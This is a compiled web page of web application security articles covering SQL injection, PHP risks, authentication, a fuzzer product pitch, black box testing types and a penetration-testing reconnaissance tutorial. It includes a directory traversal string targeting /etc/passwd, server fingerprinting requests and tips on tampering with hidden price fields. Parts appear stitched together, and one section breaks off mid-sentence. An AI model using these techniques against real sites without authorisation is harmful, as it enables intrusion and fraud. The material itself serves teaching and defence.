Web Application Security

How would you determine whether your website is being hacked or not? Read the way hacker steals the information and hacks your website. Moreover, how you can help preventing your website being hacked.

IS YOUR WEBSITE HACKABLE?

Some hackers, for example, will take advantage of web application vulnerabilities and may maliciously inject code within vulnerable web applications to trick users and redirect them towards phisphing sites. This technique is called Cross-Site Scripting and may be used even when the web servers and database engine contain no vulnerabilities themselves.

Is your data really safe?
Just because you think your data is safe does not mean your database of sensitive organization information has not already been cloned and is resident elsewhere ready to be sold to the highest bidder. To make matters worse, only recently, it has been discovered that hackers are not simply selling your data; they’re also selling the fact that you have vulnerabilities to others be they hackers, industrial spies or terrorists.

It all sounds apocalyptic, doesn’t it? Well, rather than being an angel of doom, I’ll let the stats speak for themselves.

web Hacking Incidents Database

The web hacking incident database (WHID) is a Web Application Security Consortium project dedicated to maintaining a list of web applications related security incidents.

The database is unique in tracking only media reported security incidents that can be associated with a web application security vulnerability. We also try to limit the database to targeted attacks only. Please refer to the FAQ for further information on what you will find and what you will not find in WHID.
WHID goal is to serve as a tool for raising awareness of the web application security problem and provide information for statistical analysis of web applications security incidents. WHID has been features in Week and slash dot
If you have additional information on those or other web hacking incidents, you are more than welcome to share this information with us.

Example

IndiaTimes.com Visitors Risk High Exposure To

The web site of a leading Indian newspaper is swamped with malware. A recent survey by WebSense cites by the Register found that of the sites hosing malware, 51% where legitimate sites that have been broken into. This is a major shift in the threat landscape, since keeping to web sites that you know is no longer a good protection strategy. Anecdotally undermining WebSense own web site classification technology as a security solution.

SQL injection vulnerabilities
Securing your website and web applications from SQL Injection involves a three-part process:

  1. Analysing the present state of security present by performing a thorough audit of your website and web applications for SQL Injection and other hacking vulnerabilities.
  2. Making sure that you use coding best practice santising your web applications and all other components of your IT infrastructure.
  3. Regularly performing a web security audit after each change and addition to your web components.

Furthermore, the principles you need to keep in mind when checking for SQL Injection and all other hacking techniques are the following: “Which parts of a website we thought are secure are open to hack attacks?” and “what data can we throw at an application to cause it to perform something it shouldn’t do?”.

Checking for SQL Injection vulnerabilities involves auditing your website and web applications. Manual vulnerability auditing is complex and very time-consuming. It also demands a high-level of expertise and the ability to keep track of considerable volumes of code and of all the latest tricks of the hacker’s ‘trade’.

The best way to check whether your web site and applications are vulnerable to SQL injection attacks is by using an automated and heuristic web vulnerability scanner.

An automated web vulnerability scanner crawls your entire website and should automatically check for vulnerabilities to SQL Injection attacks. It will indicate which URLs/scripts are vulnerable to SQL injection so that you can immediately fix the code. Besides SQL injection vulnerabilities a web application scanner will also check for Cross site scripting and other web vulnerabilities.

Apache Web Server Security

An increasing number of attacks on high-profile websites show that web security is still one of the most critical issues to be tackled by any business that has a web presence and conducts operations online.

If your web server and/or web applications are vulnerable to attacks, you can be giving a free access to hackers to access sensitive information stored in your backend database.

One of the elements of your network infrastructure that could be vulnerable to attacks is the web server program. A web server program or web server engine runs a service which listens for, and responds to, web requests made by users via their browser. The most widely used web server engines are Apache and Microsoft IIS. These web server programs could very well exhibit security flaws or vulnerabilities, which, for example, could allow a malicious remote user access to your operating system with privileges which are more wide-ranging than those normally provided to a web browser request.

Furthermore, Apache requires a server-side scripting engine (e.g., PHP, ASP, ASP.NET, JSP) if the website is dynamic or if, for example, certain pages require the user to submit personal information such as their name, email address and credit card details. Web security best practice requires regular auditing to check for scripting engine vulnerabilities, as well as, ensuring that users cannot input character combinations that could exploit these or other weaknesses to eventually gain access to sensitive data.

PHP Security

Whether your site is the web presence for a large multinational, a gallery showing your product range and inviting potential customers to come into the shop, or a personal site exhibiting your holiday photos, web security matters. After the hard work put in to make your site look good and respond to your users, the last thing you want is for a malicious hacker to come along, perform a PHP hack and break it somehow.

There are a number of problems in web security, and unfortunately not all of them have definite solutions, but here we’ll look at some of the problems that should be considered every time you set out to write a PHP script to avoid a PHP hack attack. These are the problems which, with well-designed code, can be eliminated entirely. Before looking in detail at the solutions, though, lets take a moment to define the problems themselves.

SQL Injection
In this attack, a user is able to execute SQL queries in your website’s database. This attack is usually performed by entering text into a form field which causes a subsequent SQL query, generated from the PHP form processing code, to execute part of the content of the form field as though it were SQL. The effects of this attack range from the harmless (simply using SELECT to pull another data set) to the devastating (DELETE, for instance). In more subtle attacks, data could be changed, or new data added.

Directory Traversal
This attack can occur anywhere user-supplied data (from a form field or uploaded filename, for example) is used in a filesystem operation. If a user specifies “../../../../../../etc/passwd” as form data, and your script appends that to a directory name to obtain user-specific files, this string could lead to the inclusion of the password file contents, instead of the intended file. More severe cases involve file operations such as moving and deleting, which allow an attacker to make arbitrary changes to your filesystem structure.

Authentication Issues
Authentication issues involve users gaining access to something they shouldn’t, but to which other users should. An example would be a user who was able to steal (or construct) a cookie allowing them to login to your site under an Administrator session, and therefore be able to change anything they liked.

Remote Scripts (XSS)
XSS, or Cross-Site Scripting (also sometimes referred to as CSS, but this can be confused with Cascading Style Sheets, something entirely different!) is the process of exploiting a security hole in one site to run arbitrary code on that site’s server. The code is usually included into a running PHP script from a remote location. This is a serious attack which could allow any code the attacker chooses to be run on the vulnerable server, with all of the permissions of the user hosting the script, including database and filesystem access.

Validating Input And Stripping Tags
When a user enters information into a form which is to be later processed on your site, they have the power to enter anything they want. Code which processes form input should be carefully written to ensure that the input is as requested; password fields have the required level of complexity, e-mail fields have at least some characters, an @ sign, some more characters, a period, and two or more characters at the end, zip or postal codes are of the required format, and so on.

Each of these may be verified using regular expressions, which scan the input for certain patterns. An example for e-mail address verification is the PHP code shown below. This evaluates to true if an e-mail address was entered in the field named ’email’.

preg_match(‘/^.+@.+\..{2,3}$/’,$_POST[’email’]);

This code just constructs a regular expression based on the format described above for an e-mail address. Note that this will return true for anything with an @ sign and a dot followed by 2 or 3 characters. That is the general format for an e-mail address, but it doesn’t mean that address necessarily exists; you’d have to send mail to it to be sure of that.

Authentication Hacking Attacks

HTTP can embed several different types of authentication protocols. These include:

  • Basic – Cleartext username/password, Base-64 encode (trivially decoded)
  • Digest – Like Basic, but passwords are scrambled
  • Form-based – A custom form is used to input username/password (or other credentials) and is processed using custom logic on the backend.
  • NTLM – Microsoft’s proprietary authentication protocol, implemented within HTTP request/response headers.
  • Negotiate – A new protocol from Microsoft that allows any type of authentication specified above to be dynamically agreed upon by the client and server. Also adds Kerberos for clients using Microsoft’s IE v5+.
  • Client-side Certificates – Although rarely used, SSL/TLS provides an option that checks the authenticity of a digital certificate present by the Web client, essentially making it an authentication token.
  • Microsoft Passport – A single-sign-in (SSI) service run by Microsoft Corporation that allows web sites (called “Passport Partners”) to authenticate users based on their membership in the Passport service. The mechanism uses a key shared between Microsoft and the Partner site to create a cookie that uniquely identifies the user.

These authentication protocols operate right over HTTP (or SSL/TSL), with credentials embedded right in the request/response traffic.

This kind of attack is not a technological security hole in the Operating System or server software. It depends rather on how securely stored and complex the passwords are and on how easy it is for the attacker to reach the server (network security).

Fallout From the Fall of CAPTCHAs

CAPTCHA went from relatively obscure security measure perfected in 2000 by researchers at Carnegie Mellon University to deployment by most of the major Web e-mail sites and many other Web sites by 2007. Sites such as Yahoo Mail, Google’s Gmail and Microsoft’s Hotmail all used — and, for that matter, continue to use — CAPTCHA to make sure that only human beings, not bots, could get accounts or make postings.

Those days are long gone.

By January 2008, Yahoo Mail’s CAPTCHA had been cracked. Gmail was ripped open in April. Hotmail’s top got popped during the same month.

And then things got bad. “

QA Testing and Developer Awareness

Traditionally, Quality Assurance (QA) teams have not been partners with information security personnel, but trends are showing a shift in thinking.   Mercury Interactive, a major player in automated testing tools, recently announced partnerships with some leading application security testing companies that provide an integrated solution between Mercury’s testing products and the vendors’ application vulnerability detection tools.

Does this mean QA teams will become security experts? Quite the contrary.   We can expect to see more integrated solutions to allow QA testers to continue automated testing, without necessarily needing to understand the underlying security technology.   In fact, we will most likely see a shift towards some type of workflow in which the owners of security policies create the appropriate tests and the QA professionals execute and measure against those tests.

We should also expect to see QA teams move from functional testing into areas of compliance testing as well.   For example, for compliance with various state and federal privacy laws, QA teams could determine which web pages do not reference a privacy policy or which pages leak sensitive information in the URL of a form submission.

Developers will also benefit from increasingly sophisticated web application vulnerability detection tools.   Ideally, detection systems should be able to track defective/insecure lines of code where vulnerabilities might be found.   Whenever possible, this would happen as part of a development tool operation such as a compilation of code.   Some vendors have created development tools for enhancing code security, but to date, sales of these tools have been relatively poor.   In addition, most of these code scanning tools are unable to provide complete application awareness and can only focus on a specific module of code.   Thus, for more complex problems that might extend, for example, between a UI module and a database module, code scanners have traditionally not worked very well as stand-alone solutions.   It is also foreseeable that we will see integration with bug tracking systems so that developers can simply follow their current defect tracking methodology and fix security vulnerabilities as simply as functional defects in their code.

Closing the Loop

Eventually, web application security detection tools will be able to provide border appliances, such as intrusion detection systems (IDS’s) and firewalls, information on how to stop an attack until a vulnerability can be resolved.   Various standards have emerged, each aligned with a particular set of vendors.

Some of the more prominent standards include the Application Vulnerability Description Language (AVDL) and Web Application Security (WAS), which are both XML-based standards.   The shifting marketplace factors heavily into which standard will dominate.    For example, Sanctum was recently acquired by WatchFire.   It remains to be seen what the new parent company will establish as a strategic direction and/or if it shifts Sanctum’s original strategy to support WAS (which was formed as a competitor response to SPI Dynamics’ involvement in AVDL).   While the industry appears to be favoring WAS, it is still unclear which standard will dominate and influence commercial product development.   It’s also not clear how these standards will help customers. Right now, the focus for companies is to find critical vulnerabilities that they can remediate and thus protect themselves from cyber attacks..

Conclusion

The current use of most web application security testing tools is still focused on the penetration tester/information security professional, with use being extended for QA and audit professionals.   We are still a fair distance from holding a developer (i.e., software vendors) accountable for writing insecure code, but clearly the trend is moving in that direction.   Security has always been a holistic solution, requiring all players and systems to work in concert to form a good defense.

Black Box Testing Strategy

What is a Black Box Testing Strategy?

Black Box Testing is not a type of testing; it instead is a testing strategy, which does not need any knowledge of internal design or code etc. As the name “black box” suggests, no knowledge of internal logic or code structure is required. The types of testing under this strategy are totally based/focused on the testing for requirements and functionality of the work product/software application. Black box testing is sometimes also called as “Opaque Testing”, “Functional/Behavioral Testing” and “Closed Box Testing”.

The base of the Black box testing strategy lies in the selection of appropriate data as per functionality and testing it against the functional specifications in order to check for normal and abnormal behavior of the system. Now a days, it is becoming common to route the Testing work to a third party as the developer of the system knows too much of the internal logic and coding of the system, which makes it unfit to test the application by the developer.

In order to implement Black Box Testing Strategy, the tester is needed to be thorough with the requirement specifications of the system and as a user, should know, how the system should behave in response to the particular action.

Various testing types that fall under the Black Box Testing strategy are: functional testing, stress testing, recovery testing, volume testing, User Acceptance Testing (also known as UAT), system testing, Sanity or Smoke testing, load testing, Usability testing, Exploratory testing, ad-hoc testing, alpha testing, beta testing etc.

These testing types are again divided in two groups: a) Testing in which user plays a role of tester and b) User is not required.

Testing method where user is not required:

Functional Testing:
In this type of testing, the software is tested for the functional requirements. The tests are written in order to check if the application behaves as expected.

Stress Testing:
The application is tested against heavy load such as complex numerical values, large number of inputs, large number of queries etc. which checks for the stress/load the applications can withstand.

Load Testing:
The application is tested against heavy loads or inputs such as testing of web sites in order to find out at what point the web-site/application fails or at what point its performance degrades.

Ad-hoc Testing:
This type of testing is done without any formal Test Plan or Test Case creation. Ad-hoc testing helps in deciding the scope and duration of the various other testing and it also helps testers in learning the application prior starting with any other testing.

Exploratory Testing:
This testing is similar to the ad-hoc testing and is done in order to learn/explore the application.

Usability Testing:
This testing is also called as ‘Testing for User-Friendliness’. This testing is done if User Interface of the application stands an important consideration and needs to be specific for the specific type of user.

Smoke Testing:
This type of testing is also called sanity testing and is done in order to check if the application is ready for further major testing and is working properly without failing up to least expected level.

Recovery Testing:
Recovery testing is basically done in order to check how fast and better the application can recover against any type of crash or hardware failure etc. Type or extent of recovery is specified in the requirement specifications.

Volume Testing:
Volume testing is done against the efficiency of the application. Huge amount of data is processed through the application (which is being tested) in order to check the extreme limitations of the system.

Testing where user plays a role/user is required:

User Acceptance Testing:
In this type of testing, the software is handed over to the user in order to find out if the software meets the user expectations and works as it is expected to.

Alpha Testing:
In this type of testing, the users are invited at the development center where they use the application and the developers note every particular input or action carried out by the user. Any type of abnormal behavior of the system is noted and rectified by the developers.

Beta Testing:
In this type of testing, the software is distributed as a beta version to the users and users test the application at their sites. As the users explore the software, in case if any exception/defect occurs that is reported to the developers.

Black Box Testing

beSTORM performs a comprehensive analysis, exposing security holes in your products during development and after release.

beSTORM represents a new approach to security auditing. This new approach is sometimes called “fuzzing”, “fuzz testing” or “fuzzer” and can be used for securing in-house developed applications and devices, as well as applications and devices of external vendors.

Most of the security holes found today in products and applications, can be discovered automatically. By using an automated attack tool that tries virtually all different attack combinations, with the ability to detect certain application anomalies and indicate a successful attack, those security holes can be found almost without user intervention.

How it works

  • Innovative beSTORM performs an exhaustive analysis to uncover new and unknown vulnerabilities in software products. This is different than older generation tools that use attack signatures or attempt to locate known vulnerabilities in products. beSTORM does not need the source code to analyze and uncover vulnerabilities.
  • Broad range Many of the common Internet protocols can be tested by beSTORM – even complex protocols such as SIP (used in Voice over IP products) are supported.
  • Attack Prioritization Special attack prioritizing algorithms allow beSTORM to start with the attacks most likely to succeed, depending on the specific protocol that is audited. This saves considerable time during the audit process and highlights the most important problems, first.
  • Report accuracy beSTORM checks the application externally by triggering actual attacks. Vulnerabilities are reported only if an actual attack has been successful, for example if a buffer overflow has been triggered. Simply put, beSTORM emulates an attacker. If the attacker cannot carry out the attack, beSTORM will not report it, effectively reducing the number of false positives.
  • Protocol compliance beSTORM is able to convert the protocol standard text to automated set of tests by converting the BNF description used in technical RFC documents to attack language. This ensures that the entire functionality of the system is checked, and enables to quickly find bugs that otherwise surface only months or years after the product is released to the market.
  • Comprehensive analysis beSTORM detects vulnerabilities by attaching to the audited process and detecting even the slightest anomalies. By doing so, beSTORM can find attacks as subtle as ‘off-by-one’ attacks, as well as buffer overflow attacks that do not crash the application.
  • Scaling beSTORM is extremely scalable, with the ability to use multiple processors or multiple machines to parallelize the audit and substantially reduce the testing duration.
  • Extensibility beSTORM tests the protocol rather than the product, and therefore can be used to test extremely complicated products with a large code base.
  • Flexibility beSTORM’s protocol analysis can be easily extended to support your proprietary protocol.
  • Language independent beSTORM tests the binary application, and is therefore completely indifferent to the programming language or system libraries used. beSTORM will report the exact interaction that triggers the vulnerability, and the programmers can now debug the application with whatever development environment they wish to see what causes the fault.

Automated Binary Analysis

beSTORM includes an automated engine that can parse through binary data, decode ASN.1 structures as well as length value pairs:

Automated Textual Analysis

beSTORM includes an automated engine that can parse through textual data, recognize multiple forms of data encoding, as well as decode XML structures:

Custom Protocols

For those protocols that cannot be automatically analyzed beSTORM includes a graphical interface that can be used to easily support your proprietary protocols:

Advanced Debugging and Stack Tracing

beSTORM includes an advanced debugging and stack tracing engine that can not only discover potential coding issues, but also show what is the stack trace that brought you to the specific coding issue:

Advantages

  • Integrates with the existing development strategy Search for security vulnerabilities during development or as part of your QA process.
  • Source code not necessary No need for source code – perfect for auditing 3rd party applications.
  • Reproducable Vulnerabilities are searched for in a methodical way which can be reproduced.
  • Powerful substitute beSTORM can be used to substitute existing tools used by security auditors and black-box testers.

Testing your web application

Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking on the part of the developer.

The very nature of Web applications – their ability to collate, process and disseminate information over the Internet – exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests – a protocol that can employ a myriad of encoding and encapsulation techniques.

Most Web application environments (including ASP and PHP, which will both be used for examples throughout the series), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web “environment” is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable.

The Root of the Issue: Input Validation

Input validation issues can be difficult to locate in a large codebase with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or “blackbox” testing, in addition to (if possible) code auditing or “whitebox” testing, must be applied.

What exactly is a Web application?

A Web application is an application, generally comprised of a collection of scripts, that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, Webmail, shopping carts and portal systems.

How does it look from the users perspective?

Web applications typically interact with the user via FORM elements and GET or POST variables (even a ‘Click Here’ button is usually a FORM submission). With GET variables, the inputs to the application can be seen within the URL itself, however with POST requests it is often necessary to study the source of form-input pages (or capture and decode valid requests) in order to determine the users inputs.

An example HTTP request that might be provided to a typical Web application is as follows:

GET /sample.php?var=value&var2=value2 HTTP/1.1 | HTTP-METHOD REQUEST-URI PROTOCOL/VERSION
Session-ID: 361873127da673c | Session-ID Header
Host: www.webserver.com | Host Header
<CR><LF><CR><LF> | Two carriage return line feeds

Every element of this request can potentially be used by the Web application processing the request. The REQUEST-URI identifies the unit of code that will be invoked along with the query string: a separated list of &variable=value pairs defining input parameters. This is the main form of Web applications input. The Session-ID header provides a token identifying the client’s established session as a primitive form of authentication. The Host header is used to distinguish between virtual hosts sharing the same IP address and will typically be parsed by the Web server, but is, in theory, within the domain of the Web application.

As a penetration tester you must use all input methods available to you in order to elicit exception conditions from the application. Thus, you cannot be limited to what a browser or automatic tools provide. It is quite simple to script HTTP requests using utilities like curl, or shell scripts using netcat. The process of exhaustive blackbox testing a Web application is one that involves exploring each data element, determining the expected input, manipulating or otherwise corrupting this input, and analysing the output of the application for any unexpected behaviour.

The Information Gathering Phase

Fingerprinting the Web Application Environment

One of the first steps of the penetration test should be to identify the Web application environment, including the scripting language and Web server software in use, and the operating system of the target server. All of these crucial details are simple to obtain from a typical Web application server through the following steps:

  1. Investigate the output from HEAD and OPTIONS http requests

    The header and any page returned from a HEAD or OPTIONS request will usually contain a SERVER: string or similar detailing the Web server software version and possibly the scripting environment or operating system in use.

    OPTIONS / HTTP/1.0
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Wed, 04 Jun 2003 11:02:45 GMT
    MS-Author-Via: DAV
    Content-Length: 0
    Accept-Ranges: none
    DASL: <DAV:sql>
    DAV: 1, 2
    Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
    Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
    Cache-Control: private

  2. Investigate the format and wording of 404/other error pages

    Some application environments (such as ColdFusion) have customized and therefore easily recognizable error pages, and will often give away the software versions of the scripting language in use. The tester should deliberately request invalid pages and utilize alternate request methods (POST/PUT/Other) in order to glean this information from the server.

    Below is an example of a ColdFusion 404 error page:

    ColdFusion 404 error page

  3. Test for recognised file types/extensions/directories

    Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes.

    GET /blah.idq HTTP/1.0
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Wed, 04 Jun 2003 11:12:24 GMT
    Content-Type: text/html

    <HTML>The IDQ file blah.idq could not be found.

  4. Examine source of available pages

    The source code from the immediately accessible pages of the application front-end may give clues as to the underlying application environment.

    <title>Home Page</title>
    <meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
    <meta content="C#" name="CODE_LANGUAGE">
    <meta content="JavaScript" name="vs_defaultClientScript">

    In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.

  5. Manipulate inputs in order to elicit a scripting error

    In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment:

    ItemID manipulation in a URL

  6. TCP/ICMP and Service Fingerprinting Using traditional fingerprinting tools such as Nmap and Queso, or the more recent application fingerprinting tools Amap and WebServerFP, the penetration tester can gain a more accurate idea of the underlying operating systems and Web application environment than through many other methods. NMAP and Queso examine the nature of the host’s TCP/IP implementation to determine the operating system and, in some cases, the kernel version and patch level. Application fingerprinting tools rely on data such as Server HTTP headers to identify the host’s application software.

Hidden form elements and source disclosure

In many cases developers require inputs from the client that should be protected from manipulation, such as a user-variable that is dynamically generated and served to the client, and required in subsequent requests. In order to prevent users from seeing and possibly manipulating these inputs, developers use form elements with a HIDDEN tag. Unfortunately, this data is in fact only hidden from view on the rendered version of the page – not within the source.

There have been numerous examples of poorly written ordering systems that would allow users to save a local copy of order confirmation pages, edit HIDDEN variables such as price and delivery costs, and resubmit their request. The Web application would perform no further authentication or cross-checking of form submissions, and the order would be dispatched at a discounted price!

<FORM METHOD="LINK" ACTION="/shop/checkout.htm">
<INPUT TYPE="HIDDEN" name="quoteprice" value="4.25">Quantity: <INPUT TYPE="text"
NAME="totalnum"> <INPUT TYPE="submit" VALUE="Checkout">
</FORM>

This practice is still common on many sites, though to a lesser degree. Typically only non-sensitive information is contained in HIDDEN fields, or the data in these fields is encrypted. Regardless of the sensitivity of these fields, they are still another input to be manipulated by the blackbox penetration tester.

All source pages should be examined (where feasible) to determine if any sensitive or useful information has been inadvertently disclosed by the developer – this may take the form of active content source within HTML, pointers to included or linked scripts and content, or poor file/directory permissions on critical source files. Any referenced executables and scripts should be probed, and if accessible, examined.

Javascript and other client-side code can also provide many clues as to the inner workings of a Web application. This is critical information when blackbox testing. Although the whitebox (or ‘code-auditing’) tester has access to the application’s logic, to the blackbox tester this information is a luxury which can provide for further avenues of attack. For example, take the following chunk of code:

<INPUT TYPE="SUBMIT" onClick="
if (document.forms['product'].elements['quantity'].value >= 255) {
document.forms['product'].elements['quantity'].value='';
alert('Invalid quantity');
return false;
} else {
return true;
}
">

This suggests that the application is trying to protect the form handler from quantity values of 255 of more – the maximum value of a tinyint field in most database systems. It would be trivial to bypass this piece of client-side validation, insert a long integer value into the ‘quantity’ GET/POST variable and see if this elicits an exception condition from the application.

Determining Authentication Mechanisms

One of the biggest shortcomings of the Web applications environment is its failure to provide a strong authentication mechanism. Of even more concern is the frequent failure of developers to apply what mechanisms are available effectively. It should be explained at this point that the term Web applications environment refers to the set of protocols, languages and formats – HTTP, HTTPS, HTML, CSS, JavaScript, etc. – that are used as a platform for the construction of Web applications. HTTP provides two forms of authentication: Basic and Digest. These are both implemented as a series of HTTP requests and responses, in which the client requests a resource, the server demands authentication and the client repeats the request with authentication credentials. The difference is that Basic authentication is clear text and Digest authentication encrypts the credentials using a nonce (time sensitive hash value) provided by the server as a cryptographic key.

Besides the obvious problem of clear text credentials when using Basic, there is nothing inherently wrong with HTTP authentication, and this clear-text problem be mitigated by using HTTPS. The real problem is twofold. First, since this authentication is applied by the Web server, it is not easily within the control of the Web application without interfacing with the Web server’s authentication database. Therefore custom authentication mechanisms are frequently used. These open a veritable Pandora’s box of issues in their own right. Second, developers often fail to correctly assess every avenue for accessing a resource and then apply authentication mechanisms accordingly.

Given this, penetration testers should attempt to ascertain both the authentication mechanism that is being used and how this mechanism is being applied to every resource within the Web application. Many Web programming environments offer session capabilities, whereby a user provides a cookie or a Session-ID HTTP header containing a psuedo-unique string identifying their authentication status. This can be vulnerable to attacks such as brute forcing, replay, or re-assembly if the string is simply a hash or concatenated string derived from known elements.

Every attempt should be made to access every resource via every entry point. This will expose problems where a root level resource such as a main menu or portal page requires authentication but the resources it in turn provides access to do not. An example of this is a Web application providing access to various documents as follows. The application requires authentication and then presents a menu of documents the user is authorised to access, each document presented as a link to a resource such as:

http://www.server.com/showdoc.asp?docid=10

Although reaching the menu requires authentication, the showdoc.asp script requires no authentication itself and blindly provides the requested document, allowing an attacker to simply insert the docid GET variable of his desire and retrieve the document. As elementary as it sounds this is a common flaw in the wild.

Conclusions

In this article we have presented the penetration tester with an overview of web applications and how web developers obtain and handle user inputs. We have also shown the importance of fingerprinting the target environment and developing an understanding of the back-end of an application. Equipped with this information, the penetration tester can proceed to targeted vulnerability tests and exploits. The next installment in this series will introduce code and content-manipulation attacks, such as PHP/ASP code injection, SQL injection, Server-Side Includes and Cross-site scripting.